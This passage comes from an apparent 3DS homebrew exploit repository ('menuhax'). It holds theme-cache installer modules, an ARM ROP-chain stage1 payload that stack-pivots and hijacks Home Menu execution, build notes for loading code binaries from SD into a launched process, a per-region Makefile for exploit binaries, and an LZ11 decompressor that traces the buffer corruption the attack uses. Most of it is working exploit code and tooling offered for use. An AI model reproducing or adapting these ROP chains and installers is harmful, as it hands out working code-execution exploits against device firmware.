 39 | 	snprintf(tmpstr, sizeof(tmpstr)-1, "sdmc:/menuhax/stage1/%s.bin", menuhax_basefn);
 40 | 
 41 | 	log_printf(LOGTAR_ALL, "Copying stage1 to SD...\n");
 42 | 	log_printf(LOGTAR_LOG, "Src path = '%s', dst = '%s'.\n", payload_filepath, tmpstr);
 43 | 
 44 | 	unlink(tmpstr);
 45 | 	ret = archive_copyfile(SDArchive, SDArchive, payload_filepath, tmpstr, filebuffer, 0, 0x1000, 0, "stage1");
 46 | 	if(ret!=0)
 47 | 	{
 48 | 		log_printf(LOGTAR_ALL, "Failed to copy stage1 to SD: 0x%08x.\n", (unsigned int)ret);
 49 | 		return ret;
 50 | 	}
 51 | 
 52 | 	memset(payload_filepath, 0, sizeof(payload_filepath));
 53 | 	snprintf(payload_filepath, sizeof(payload_filepath)-1, "romfs:/finaloutput/themepayload.zip@%s.lz", menuhax_basefn);
 54 | 
 55 | 	log_printf(LOGTAR_ALL, "Enabling persistent themecache...\n");
 56 | 	ret = menu_enablethemecache_persistent();
 57 | 	if(ret!=0)return ret;
 58 | 
 59 | 	log_printf(LOGTAR_ALL, "Installing to the SD theme-cache...\n");
 60 | 	ret = sd2themecache(payload_filepath, "bgm_bundledmenuhax.bcstm", 0);
 61 | 	if(ret!=0)return ret;
 62 | 
 63 | 	log_printf(LOGTAR_ALL, "Initializing the seperate menuhax theme-data files...\n");
 64 | 	ret = sd2themecache("romfs:/blanktheme.lz", NULL, 1);
 65 | 	if(ret!=0)return ret;
 66 | 
 67 | 	return 0;
 68 | }
 69 | 
 70 | Result themehax_delete()
 71 | {
 72 | 	Result ret=0;
 73 | 
 74 | 	log_printf(LOGTAR_ALL, "Disabling theme-usage via SaveData.dat...\n");
 75 | 	ret = disablethemecache();
 76 | 	if(ret!=0)return ret;
 77 | 
 78 | 	memset(filebuffer, 0, filebuffer_maxsize);
 79 | 
 80 | 	log_printf(LOGTAR_ALL, "Clearing the theme-cache extdata now...\n");
 81 | 
 82 | 	log_printf(LOGTAR_ALL, "Clearing the ThemeManage...\n");
 83 | 	ret = archive_writefile(Theme_Extdata, "/ThemeManage.bin", filebuffer, 0x800, 0x800);
 84 | 	if(ret!=0)
 85 | 	{
 86 | 		log_printf(LOGTAR_ALL, "Failed to clear the ThemeManage: 0x%08x.\n", (unsigned int)ret);
 87 | 		return ret;
 88 | 	}
 89 | 
 90 | 	log_printf(LOGTAR_ALL, "Clearing the regular BodyCache...\n");
 91 | 	ret = archive_writefile(Theme_Extdata, "/BodyCache.bin", filebuffer, 0x150000, 0x150000);
 92 | 	if(ret!=0)
 93 | 	{
 94 | 		log_printf(LOGTAR_ALL, "Failed to clear the regular BodyCache: 0x%08x.\n", (unsigned int)ret);
 95 | 		return ret;
 96 | 	}
 97 | 
 98 | 	log_printf(LOGTAR_ALL, "Clearing the regular BgmCache...\n");
 99 | 	ret = archive_writefile(Theme_Extdata, "/BgmCache.bin", filebuffer, 0x337000, 0x337000);
100 | 	if(ret!=0)
101 | 	{
102 | 		log_printf(LOGTAR_ALL, "Failed to clear the regular BgmCache: 0x%08x.\n", (unsigned int)ret);
103 | 		return ret;
104 | 	}
105 | 
106 | 	return 0;
107 | }
108 | 
109 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/modules/shufflehax.c:
--------------------------------------------------------------------------------
  1 | #include <string.h>
  2 | #include <stdio.h>
  3 | #include <stdlib.h>
  4 | #include <sys/stat.h>
  5 | #include <unistd.h>
  6 | #include <3ds.h>
  7 | 
  8 | #include "archive.h"
  9 | #include "log.h"
 10 | 
 11 | #include "modules_common.h"
 12 | 
 13 | Result shufflehax_install(char *menuhax_basefn, s16 menuversion);
 14 | Result shufflehax_delete();
 15 | 
 16 | void register_module_shufflehax()
 17 | {
 18 | 	module_entry module = {
 19 | 		.name = "shufflehax",
 20 | 		.haxinstall = shufflehax_install,
 21 | 		.haxdelete = shufflehax_delete,
 22 | 		.themeflag = false
 23 | 	};
 24 | 
 25 | 	register_module(&module);
 26 | }
 27 | 
 28 | Result shufflehax_install(char *menuhax_basefn, s16 menuversion)
 29 | {
 30 | 	Result ret=0;
 31 | 
 32 | 	char payload_filepath[256];
 33 | 	char tmpstr[256];
 34 | 
 35 | 	memset(payload_filepath, 0, sizeof(payload_filepath));
 36 | 	memset(tmpstr, 0, sizeof(tmpstr));
 37 | 
 38 | 	snprintf(payload_filepath, sizeof(payload_filepath)-1, "romfs:/finaloutput/stage1_themedata.zip@%s.bin", menuhax_basefn);
 39 | 	snprintf(tmpstr, sizeof(tmpstr)-1, "sdmc:/menuhax/stage1/%s.bin", menuhax_basefn);
 40 | 
 41 | 	log_printf(LOGTAR_ALL, "Copying stage1 to SD...\n");
 42 | 	log_printf(LOGTAR_LOG, "Src path = '%s', dst = '%s'.\n", payload_filepath, tmpstr);
 43 | 
 44 | 	unlink(tmpstr);
 45 | 	ret = archive_copyfile(SDArchive, SDArchive, payload_filepath, tmpstr, filebuffer, 0, 0x1000, 0, "stage1");
 46 | 	if(ret!=0)
 47 | 	{
 48 | 		log_printf(LOGTAR_ALL, "Failed to copy stage1 to SD: 0x%08x.\n", (unsigned int)ret);
 49 | 		return ret;
 50 | 	}
 51 | 
 52 | 	memset(payload_filepath, 0, sizeof(payload_filepath));
 53 | 
 54 | 	snprintf(payload_filepath, sizeof(payload_filepath)-1, "romfs:/finaloutput/shufflepayload.zip@%s.lz", menuhax_basefn);
 55 | 
 56 | 	log_printf(LOGTAR_ALL, "Enabling shuffle themecache...\n");
 57 | 	ret = enablethemecache(3, 1, 1);
 58 | 	if(ret!=0)return ret;
 59 | 
 60 | 	log_printf(LOGTAR_ALL, "Installing to the SD theme-cache...\n");
 61 | 	ret = sd2themecache(payload_filepath, "bgm_bundledmenuhax.bcstm", 0);
 62 | 	if(ret!=0)return ret;
 63 | 
 64 | 	log_printf(LOGTAR_ALL, "Initializing the seperate menuhax theme-data files...\n");
 65 | 	ret = sd2themecache("romfs:/blanktheme.lz", NULL, 1);
 66 | 	if(ret!=0)return ret;
 67 | 
 68 | 	return 0;
 69 | }
 70 | 
 71 | Result shufflehax_delete()
 72 | {
 73 | 	Result ret=0;
 74 | 	unsigned int i;
 75 | 	u8 *tmpbuf;
 76 | 
 77 | 	char str[256];
 78 | 
 79 | 	log_printf(LOGTAR_ALL, "Disabling theme-usage via SaveData.dat...\n");
 80 | 	ret = disablethemecache();
 81 | 	if(ret!=0)return ret;
 82 | 
 83 | 	memset(filebuffer, 0, filebuffer_maxsize);
 84 | 
 85 | 	tmpbuf = malloc(0xd20000);
 86 | 	if(tmpbuf==NULL)
 87 | 	{
 88 | 		log_printf(LOGTAR_ALL, "Failed to allocate memory for the shuffle-BodyCache clearing buffer.");
 89 | 		return 1;
 90 | 	}
 91 | 	memset(tmpbuf, 0, 0xd20000);
 92 | 
 93 | 	log_printf(LOGTAR_ALL, "Clearing the theme-cache extdata now...\n");
 94 | 
 95 | 	log_printf(LOGTAR_ALL, "Clearing the ThemeManage...\n");
 96 | 	ret = archive_writefile(Theme_Extdata, "/ThemeManage.bin", filebuffer, 0x800, 0x800);
 97 | 	if(ret!=0)
 98 | 	{
 99 | 		log_printf(LOGTAR_ALL, "Failed to clear the ThemeManage: 0x%08x.\n", (unsigned int)ret);
100 | 		free(tmpbuf);
101 | 		return ret;
102 | 	}
103 | 
104 | 	log_printf(LOGTAR_ALL, "Clearing the shuffle BodyCache...\n");
105 | 	ret = archive_writefile(Theme_Extdata, "/BodyCache_rd.bin", tmpbuf, 0xd20000, 0xd20000);
106 | 	free(tmpbuf);
107 | 	if(ret!=0)
108 | 	{
109 | 		log_printf(LOGTAR_ALL, "Failed to clear the shuffle BodyCache: 0x%08x.\n", (unsigned int)ret);
110 | 		return ret;
111 | 	}
112 | 
113 | 	for(i=0; i<10; i++)
114 | 	{
115 | 		memset(str, 0, sizeof(str));
116 | 		snprintf(str, sizeof(str)-1, "/BgmCache_%02d.bin", i);
117 | 
118 | 		log_printf(LOGTAR_ALL, "Clearing shuffle BgmCache_%02d...\n", i);
119 | 		ret = archive_writefile(Theme_Extdata, str, filebuffer, 0x337000, 0x337000);
120 | 		if(ret!=0)
121 | 		{
122 | 			log_printf(LOGTAR_ALL, "Failed to clear shuffle BgmCache_%02d: 0x%08x.\n", i, (unsigned int)ret);
123 | 			return ret;
124 | 		}
125 | 	}
126 | 
127 | 	return 0;
128 | }
129 | 
130 | 


--------------------------------------------------------------------------------
/stage1_sdiconhax.s:
--------------------------------------------------------------------------------
 1 | .arm
 2 | .section .init
 3 | .global _start
 4 | 
 5 | #include "menuhax_ropinclude.s"
 6 | 
 7 | #if REGIONVAL!=4//non-KOR
 8 | #define SDICONHAX_SPRETADDR (0x0ffffe20 - (6*4)) //SP address right before the original stack-pivot was done.
 9 | #else//KOR
10 | #define SDICONHAX_SPRETADDR (0x0ffffe18 - (6*4))
11 | #endif
12 | 
13 | _start:
14 | 
15 | ropstackstart:
16 | 
17 | @ *(saved_r4+0x0) = <value setup by menuhax_manager>, aka the original address for the first objptr.
18 | ROPMACRO_LDDRR0_ADDR1_STRVALUE SDICONHAX_SPRETADDR, 0x0, (0x58414800 + 0x00)
19 | 
20 | @ *(saved_r4+0x4) = <value setup by menuhax_manager>, aka the original address for the second objptr.
21 | ROPMACRO_LDDRR0_ADDR1_STRVALUE SDICONHAX_SPRETADDR, 0x4, (0x58414800 + 0x01)
22 | 
23 | @ Subtract the saved r4 on stack by 4. This results in the current objptr in the target_objectslist_buffer being reprocessed @ RET2MENU.
24 | ROPMACRO_LDDRR0_ADDR1_STRADDR SDICONHAX_SPRETADDR, SDICONHAX_SPRETADDR, 0xfffffffc
25 | 
26 | #include "menuhax_loader.s"
27 | 
28 | @ The ROP used for RET2MENU starts here.
29 | 
30 | @ Open the SaveData.dat file for writing. This blocks the actual Home Menu code from reading/writing SaveData.dat, since fsuser doesn't allow accessing files which are currently open for writing.
31 | CALLFUNC_NOSP IFile_Open, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(savedatadat_filepath), 0x2, 0
32 | 
33 | ROPMACRO_STACKPIVOT SDICONHAX_SPRETADDR, POP_R4R8PC @ Return to executing the original homemenu code.
34 | 
35 | menuhaxloader_beforethreadexit:
36 | //Don't write icon-related data, because: 1) It's all reset to the default data anyway, when the icon data was actually updated. 2) The haxx doesn't trigger at next process boot, and as a result the haxx ends up getting wiped too.
37 | /*@ Write to FS savedatadat+0, stopping where the haxx TID-data is.
38 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000), 300*8 + 0x8, 1, 0, 0, 0
39 | 
40 | @ Seek to the start of <some icon(?) array>, then write the whole array since no haxx-data is stored here.
41 | CALLFUNC IFile_Seek, ROPBUFLOC(savedatadat_filectx), 0, 0xb48, 0, 0, 0, 0, 0
42 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000  + 0xb48), 360, 1, 0, 0, 0
43 | 
44 | @ Write the data prior to the haxx-data for the s16 array.
45 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000  + 0xcb0), 300*2, 1, 0, 0, 0
46 | 
47 | @ Seek to the start of <some icon(?) array>, then write the whole array since no haxx-data is stored here.
48 | CALLFUNC IFile_Seek, ROPBUFLOC(savedatadat_filectx), 0, 0xe18, 0, 0, 0, 0, 0
49 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000 + 0xe18), 360, 1, 0, 0, 0
50 | 
51 | @ Write the data prior to the haxx-data, for the s8 array.
52 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000 + 0xf80), 300, 1, 0, 0, 0*/
53 | 
54 | @ Write the rest of the data to FS.
55 | CALLFUNC IFile_Seek, ROPBUFLOC(savedatadat_filectx), 0, 0x10e8, 0, 0, 0, 0, 0
56 | CALLFUNC IFile_Write, ROPBUFLOC(savedatadat_filectx), ROPBUFLOC(tmp_scratchdata), (0x58480000 + 0x10e8), 0x2da0 - 0x10e8, 1, 0, 0, 0
57 | 
58 | ROPMACRO_IFile_Close ROPBUFLOC(savedatadat_filectx)
59 | 
60 | @ Copy the addr from menuhax_payload beforethreadexit_return_spaddr to the word which will be popped into sp.
61 | ROPMACRO_COPYWORD ROPBUFLOC(stackpivot_sploadword), MENUHAXLOADER_LOAD_BINADDR+12
62 | 
63 | @ Write to the word which will be popped into pc.
64 | ROPMACRO_WRITEWORD ROPBUFLOC(stackpivot_pcloadword), ROP_POPPC
65 | 
66 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP
67 | 
68 | ROPMACRO_STACKPIVOT_JUMP
69 | 
70 | object:
71 | .word ROPBUFLOC(vtable) @ object+0, vtable ptr
72 | .word 0
73 | .word 0
74 | .word 0
75 | 
76 | .word ROPBUFLOC(object + 0x20) @ This .word is at object+0x10. ROP_LOADR4_FROMOBJR0 loads r4 from here.
77 | 
78 | .space ((object + 0x1c) - .) @ sp/pc data loaded by STACKPIVOT_ADR.
79 | stackpivot_sploadword:
80 | .word ROPBUFLOC(ropstackstart) @ sp
81 | stackpivot_pcloadword:
82 | .word ROP_POPPC @ pc
83 | 
84 | vtable:
85 | .word 0, 0 @ vtable+0
86 | .word 0//ROP_LOADR4_FROMOBJR0 @ vtable funcptr +8
87 | .word 0//STACKPIVOT_ADR @ vtable funcptr +12, called via ROP_LOADR4_FROMOBJR0.
88 | 
89 | savedatadat_filectx:
90 | .space 0x20
91 | 
92 | savedatadat_filepath:
93 | .string16 "EXT:/SaveData.dat"
94 | .align 2
95 | 
96 | tmp_scratchdata:
97 | .space 0x4
98 | 
99 | 


--------------------------------------------------------------------------------
/Building.md:
--------------------------------------------------------------------------------
 1 | Just run "make defaultbuild ROPKIT_PATH={path to yellows8github/3ds_ropkit repo}", or even "make clean ROPKIT_PATH={path to yellows8github/3ds_ropkit repo} && make defaultbuild ROPKIT_PATH={path to yellows8github/3ds_ropkit repo}". "defaultbuild" Builds with the default options, see the Makefile for the default options. "{...} make ROPKIT_PATH={path to yellows8github/3ds_ropkit repo} {options}" Can be used to build with your own options if you prefer.
 2 | 
 3 | If you don't want to use the prebuilt menurop(using the menurop_prebuilt is recommended), the menurop directories+files must be generated. "./generate_menurop_addrs.sh {path}". See the source of that script for details(this requires the Home Menu code-binaries).
 4 | 
 5 | The final built files are located under "finaloutput/", which are then used while building menuhax_manager.
 6 | 
 7 | Build options:
 8 | * "CODEBINPAYLOAD=path" Code binary payload to load into the launched process(default is the system web-browser). This will be included in the theme-data itself.
 9 | * "LOADSDPAYLOAD=1" Enable loading a code binary from SD for loading into the launched process("/menuhax_payload.bin"). The total size of the code(including additional code prior to the binary from SD) loaded into the process is 0x4000-bytes. Therefore, the max size of the code binary from SD is a bit less than 0x3000-bytes.
10 | * "LOADSDCFG=1" When USE_PADCHECK was used, load a config file which overrides the value used for USE_PADCHECK, and can invert PADCHECK too if specified(see source code for details).
11 | * "EXITMENU=1" Terminate homemenu X seconds(see source) after getting code exec under the launched process.
12 | * "ENABLE_LOADROPBIN=1" Load a homemenu ropbin then stack-pivot to it, see the Makefile HEAPBUF_ROPBIN_\* values for the load-address. When LOADSDPAYLOAD isn't used, the binary is the one specified by CODEBINPAYLOAD, otherwise it's loaded from a filepath which is different for each build, see the Makefile for that. The binary size should be <=0x10000-bytes.
13 | * "MENUROP_PATH={path}" Use the specified path for the "menurop" directory, instead of the default one which requires running generate_menurop_addrs.sh. To use the prebuilt menurop headers included with this repo, the following can be used: "MENUROP_PATH=menurop_prebuilt".
14 | * "THEMEDATA_PATH={*decompressed* regular theme body_LZ filepath}" Build hax with the specified theme, instead of using the "default theme" one. Also note that compression during building takes a *lot* longer with this. This option is *not* recommended, use the LOADOTHER_THEMEDATA option instead.
15 | * "LOADOTHER_THEMEDATA=1" When doing RET2MENU, re-run the theme-loading Home Menu code with different extdata file-paths(BGM file-paths are not changed). This allows loading actual themes while menuhax is installed.
16 | * "ENABLE_IMAGEDISPLAY=1" Instead of doing a DMA-copy to the top-screen framebuffers from other data in VRAM resulting in junk being displayed, DMA from data in this payload. Framebuffer format is the same as usual: 240x400 byte-swapped RGB8(http://3dbrew.org/wiki/GPU/External_Registers#Framebuffer_color_formats). If 3D stereoscopy isn't used by the image, the 3D-right image should be the same as the 3D-left. The original "data in this payload" is just the end of the payload, with the data copied from VRAM+0(which is where the framebuf data comes from when ENABLE_IMAGEDISPLAY isn't used).
17 | * "ENABLE_IMAGEDISPLAY_SD=1" Only used if ENABLE_IMAGEDISPLAY was specified. Overwrite the raw image-display data in the payload, with the data from SD "/menuhax_imagedisplay.bin", if the data from SD is loaded successfully. The format is the same described above. The first 0x46500-bytes are for the 3D-left, the 0x46500-bytes after that are for the 3D-right. The size of this file on SD should be 0x8ca00-bytes(0x46500\*2), but if it's smaller only part of the image-data in this payload will be overwritten. Note that the manager app includes functionality for handling this file.
18 | 
19 | This also requires [bosstool](https://github.com/yellows8/3dscrypto-tools) for bossbannerhax building. If you need to specify additional parameters for bosstool during bossbannerhax building, such as --serveradr, you can use: "BOSSTOOLPARAMS=--serveradr={addr}".
20 | 
21 | Building the menuhax_manager app requires zlib(https://github.com/devkitPro/3ds_portlibs). Lodepng(https://github.com/lvandeve/lodepng) is also required: you must manually create a "menuhax_manager/lodepng/" directory, which contains the following(these can be symlinks for example): "lodepng.c" and "lodepng.h". This also requires Minizip(for unzipping), this is also available under the zlib contribs directory. bannertool for compression is required as well: https://github.com/Steveice10/bannertool
22 | 
23 | Before building menuhax(_manager), you must run setup_modules.sh at least once. You won't need to run the script again unless the contents of the "modules" directory changes, or if the "setup_modules.sh" script changes.
24 | 
25 | 


--------------------------------------------------------------------------------
/Makefile.sdiconhax:
--------------------------------------------------------------------------------
 1 | sdiconhax_build:
 2 | 	@mkdir -p finaloutput/sdiconhax
 3 | 	@mkdir -p finaloutput/stage1_sdiconhax
 4 | 	
 5 | 	@for path in sdiconhax_menuversions/JPN/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=JPN REGIONVAL=0 MENUVERSION=$$(basename "$$path"); done
 6 | 	@for path in sdiconhax_menuversions/USA/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=USA REGIONVAL=1 MENUVERSION=$$(basename "$$path"); done
 7 | 	@for path in sdiconhax_menuversions/EUR/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=EUR REGIONVAL=2 MENUVERSION=$$(basename "$$path"); done
 8 | 	#@for path in sdiconhax_menuversions/CHN/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=CHN REGIONVAL=3 MENUVERSION=$$(basename "$$path"); done
 9 | 	@for path in sdiconhax_menuversions/KOR/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=KOR REGIONVAL=4 MENUVERSION=$$(basename "$$path"); done
10 | 	#@for path in sdiconhax_menuversions/TWN/*; do make -f Makefile buildsdiconhax --no-print-directory REGION=TWN REGIONVAL=5 MENUVERSION=$$(basename "$$path"); done
11 | 	
12 | 	@zip -rj finaloutput/sdiconhax.zip finaloutput/sdiconhax
13 | 	
14 | 	@for path in sdiconhax_menuversions/JPN/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=JPN REGIONVAL=0 MENUVERSION=$$(basename "$$path"); done
15 | 	@for path in sdiconhax_menuversions/USA/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=USA REGIONVAL=1 MENUVERSION=$$(basename "$$path"); done
16 | 	@for path in sdiconhax_menuversions/EUR/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=EUR REGIONVAL=2 MENUVERSION=$$(basename "$$path"); done
17 | 	#@for path in sdiconhax_menuversions/CHN/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=CHN REGIONVAL=3 MENUVERSION=$$(basename "$$path"); done
18 | 	@for path in sdiconhax_menuversions/KOR/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=KOR REGIONVAL=4 MENUVERSION=$$(basename "$$path"); done
19 | 	#@for path in sdiconhax_menuversions/TWN/*; do make -f Makefile build_stage1_sdiconhax --no-print-directory REGION=TWN REGIONVAL=5 MENUVERSION=$$(basename "$$path"); done
20 | 	
21 | 	@zip -rj finaloutput/stage1_sdiconhax.zip finaloutput/stage1_sdiconhax
22 | 
23 | buildsdiconhax:
24 | 	@make -f Makefile finaloutput/sdiconhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds_sdiconhax.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) HEAPBUF=$(HEAPBUF_HAX_OLD3DS) FIXHEAPBUF=$(HEAPBUF_HAX_OLD3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 $(PARAMS)
25 | 	@make -f Makefile finaloutput/sdiconhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds_sdiconhax.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_HAX_NEW3DS) HEAPBUF=$(HEAPBUF_HAX_NEW3DS) FIXHEAPBUF=$(HEAPBUF_HAX_NEW3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 $(PARAMS)
26 | 
27 | build_stage1_sdiconhax:
28 | 	@make -f Makefile finaloutput/stage1_sdiconhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) HEAPBUF=0x0FFF1000 FIXHEAPBUF=$(HEAPBUF_HAX_OLD3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 $(PARAMS)
29 | 	@make -f Makefile finaloutput/stage1_sdiconhax/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds.bin --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_NEW3DS) HEAPBUF=0x0FFF1000 FIXHEAPBUF=$(HEAPBUF_HAX_NEW3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 $(PARAMS)
30 | 
31 | finaloutput/sdiconhax/$(BUILDPREFIX)_sdiconhax.bin:	binpayload/$(BUILDPREFIX)_sdiconhax.bin
32 | 	cp $< $@
33 | 
34 | binpayload/$(BUILDPREFIX)_sdiconhax.bin:	build/$(BUILDPREFIX)_sdiconhax.elf
35 | 	$(OBJCOPY) -O binary $< $@
36 | 
37 | build/$(BUILDPREFIX)_sdiconhax.elf:	sdiconhax_savedatadat.s
38 | 	$(CC) -x assembler-with-cpp -nostartfiles -nostdlib -DREGION=$(REGION) -DREGIONVAL=$(REGIONVAL) -DMENUVERSION=$(MENUVERSION) -DROPBUF=0x58480000 -DFIXHEAPBUF=$(FIXHEAPBUF) -DROPBIN_BUFADR=$(ROPBIN_BUFADR) -DTARGETOVERWRITE_MEMCHUNKADR=$(TARGETOVERWRITE_MEMCHUNKADR) -DNEW3DS=$(NEW3DS) -DMENUHAXLOADER_LOAD_BINADDR=0x0FFF1000 -DMENUHAXLOADER_LOAD_SIZE=0xD000 -DMENUHAXLOADER_BINPAYLOAD_PATH=\"sd:/menuhax/stage1/$(BUILDPREFIX).bin\" $(DEFINES) -I$(ROPKIT_PATH) -include $(MENUROP_PATH)/$(REGION)/$(MENUVERSION) $< -o $@
39 | 
40 | finaloutput/stage1_sdiconhax/$(BUILDPREFIX).bin:	build/$(BUILDPREFIX)_stage1_sdiconhax.elf
41 | 	$(OBJCOPY) -O binary $< $@
42 | 
43 | build/$(BUILDPREFIX)_stage1_sdiconhax.elf:	stage1_sdiconhax.s
44 | 	$(CC) -x assembler-with-cpp -nostartfiles -nostdlib -DREGION=$(REGION) -DREGIONVAL=$(REGIONVAL) -DMENUVERSION=$(MENUVERSION) -DROPBUF=0x0FFF1000 -DFIXHEAPBUF=$(FIXHEAPBUF) -DROPBIN_BUFADR=$(ROPBIN_BUFADR) -DTARGETOVERWRITE_MEMCHUNKADR=$(TARGETOVERWRITE_MEMCHUNKADR) -DNEW3DS=$(NEW3DS) -DMENUHAXLOADER_LOAD_BINADDR=0x0FFF2000 -DMENUHAXLOADER_LOAD_SIZE=0xC000 -DSTAGE1 -DMENUHAXLOADER_BINPAYLOAD_PATH=\"sd:/menuhax/stage2/$(BUILDPREFIX).bin\" $(DEFINES) -I$(ROPKIT_PATH) -include $(MENUROP_PATH)/$(REGION)/$(MENUVERSION) $< -o $@
45 | 
46 | 


--------------------------------------------------------------------------------
/lz11.c:
--------------------------------------------------------------------------------
  1 | #include <string.h>
  2 | #include <stdio.h>
  3 | 
  4 | //Note that the actual Home Menu decompression function doesn't have an outsize parameter.
  5 | int lz11Decompress(unsigned char *src, unsigned char *dst, int insize, int outsize) { //Based on the code from here, modified to mostly match the Home Menu code: https://github.com/mtheall/decompress/blob/master/source/lz11.c
  6 |   unsigned int i;
  7 |   unsigned char flags;
  8 |   int pos=0, pos2, srcpos=0;
  9 |   unsigned char *original_dstval = dst;
 10 |   unsigned char *original_dst = dst;
 11 |   int corruption_detected = 0;
 12 |   int dumpeddata = 0;
 13 |   FILE *f;
 14 | 
 15 |   while(outsize > 0) {
 16 |     // read in the flags data
 17 |     // from bit 7 to bit 0, following blocks:
 18 |     //     0: raw byte
 19 |     //     1: compressed block
 20 |     if(insize==0)
 21 |     {
 22 |         printf("input end reached early, outsize=0x%x\n", outsize);
 23 |         return -2;
 24 |     }
 25 |     flags = *src++;
 26 |     srcpos++;
 27 |     //if(corruption_detected)flags = 0;
 28 |     insize--;
 29 |     for(i = 0; i < 8 && outsize > 0; i++, flags <<= 1) {
 30 |       if(flags&0x80) { // compressed block
 31 |         int len;  // length
 32 |         int disp; // displacement
 33 |         switch((*src)>>4) {
 34 |           case 0: // extended block
 35 |             if(insize==0)
 36 |             {
 37 |                  printf("input end reached early, outsize=0x%x\n", outsize);
 38 |                  return -2;
 39 |             }
 40 |             len   = (*src++)<<4;
 41 |             len  |= ((*src)>>4);
 42 |             len  += 0x11;
 43 |             insize--;
 44 |             srcpos++;
 45 |             break;
 46 |           case 1: // extra extended block
 47 |             if(insize<=1)
 48 |             {
 49 |                  printf("input end reached early, outsize=0x%x\n", outsize);
 50 |                  return -2;
 51 |             }
 52 |             len   = ((*src++)&0x0F)<<12;
 53 |             len  |= (*src++)<<4;
 54 |             len  |= ((*src)>>4);
 55 |             len  += 0x111;
 56 |             insize-=2;
 57 |             srcpos+=2;
 58 |             break;
 59 |           default: // normal block
 60 |             len   = ((*src)>>4)+1;
 61 |         }
 62 | 
 63 |         if(insize<=1)
 64 |         {
 65 |                  printf("input end reached early, outsize=0x%x\n", outsize);
 66 |                  return -2;
 67 |         }
 68 |         disp  = ((*src++)&0x0F)<<8;
 69 |         disp |= *src++;
 70 |         disp++;
 71 |         insize-=2;
 72 |         srcpos+=2;
 73 | 
 74 |         if(len > outsize || pos-disp < 0)
 75 |         {
 76 |              printf("Invalid compressed block. len=0x%x outsize=0x%x pos=0x%x disp=0x%x i=0x%x flags=0x%x srcpos=0x%x\n", len, outsize, pos, disp, i, flags, srcpos);
 77 |              return -4;
 78 |         }
 79 | 
 80 |         outsize -= len;
 81 | 
 82 |         // for len, copy data from the displacement
 83 |         // to the current buffer position
 84 |         for(pos2=0; pos2<len; pos2++)
 85 |         {
 86 |              if(&original_dst[pos2+pos] == src)
 87 |              {
 88 |                    printf("compressed block copy output addr overwrites the data at src: pos2=0x%x pos=0x%x disp=0x%x actualoffset=0x%x len=0x%x len-pos2=0x%x i=0x%x flags=0x%x srcpos=0x%x\n", pos2, pos, disp, pos2+pos, len, len-pos2, i, flags, srcpos);
 89 |                    corruption_detected |= 0x2;
 90 |              }
 91 |              if(&original_dst[pos2+pos-disp] == src)
 92 |              {
 93 |                   printf("compressed block copy input addr matches the data at src: pos2=0x%x pos=0x%x disp=0x%x actualoffset=0x%x len=0x%x len-pos2=0x%x i=0x%x flags=0x%x srcpos=0x%x\n", pos2, pos, disp, pos2+pos-disp, len, len-pos2, i, flags, srcpos);
 94 |                   corruption_detected |= 0x4;
 95 |              }
 96 | 
 97 |              if(!dumpeddata && corruption_detected)
 98 |              {
 99 |                   dumpeddata = 1;
100 |                   printf("Writing decompressed data pre-corruption to file, with size 0x%x...\n", pos2+pos);
101 |                   f = fopen("decompressed_data_precorruption.bin", "wb");
102 |                   if(f)
103 |                   {
104 |                          fwrite(original_dst, 1, pos2+pos, f);
105 |                          fclose(f);
106 |                   }
107 |              }
108 | 
109 |              original_dst[pos2+pos] = original_dst[pos2+pos-disp];
110 |         }
111 |         dst += len;
112 |         pos += len;
113 |       }
114 | 
115 |       else { // uncompressed block
116 |         // copy a raw byte from the input to the output
117 |         if(dst == src)
118 |         {
119 |              printf("current output ptr == current input ptr, dst pos = 0x%x (raw byte copy)\n", pos);
120 |              corruption_detected |= 0x1;
121 |         }
122 |         *dst++ = *src++;
123 |         pos++;
124 |         insize--;
125 |         outsize--;
126 |         srcpos++;
127 |       }
128 | 
129 |       if(outsize==0)
130 |       {
